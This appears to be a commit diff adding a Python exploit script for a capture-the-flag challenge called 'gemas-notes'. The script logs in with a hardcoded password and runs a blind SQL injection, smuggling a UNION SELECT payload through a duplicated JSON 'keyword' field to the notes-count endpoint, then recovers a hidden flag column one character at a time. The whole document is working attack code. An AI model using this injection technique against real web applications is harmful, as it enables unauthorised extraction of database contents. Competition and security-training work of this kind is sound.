Initial commit

exploits.old/gemas-notes/exploit.py

@@ -0,0 +1,37 @@
+import requests
+
+HOST = "http://localhost:12000"
+
+def login():
+  token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
+  return token
+
+def send_request(payload,token):
+  res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
+  if res.status_code == 401:
+    new_token = login()
+    return send_request(payload, new_token)
+  return res.json()["count"], token
+
+def attack():
+  token = login()
+  charset = "0123456789abcdef"
+
+  flag = ""
+  idx = 10
+  for i in range(32):
+    for c in list(charset):
+      sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
+      final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
+      result,token = send_request(final_payload, token)
+      if result == 31337:
+        flag += c
+        idx += 1
+        print(f"[+] CHAR {idx} | {c}")
+        break
+
+  return "WRECKIT50{"+flag+"}"
+
+if __name__=="__main__":
+  flag = attack()
+  print(flag)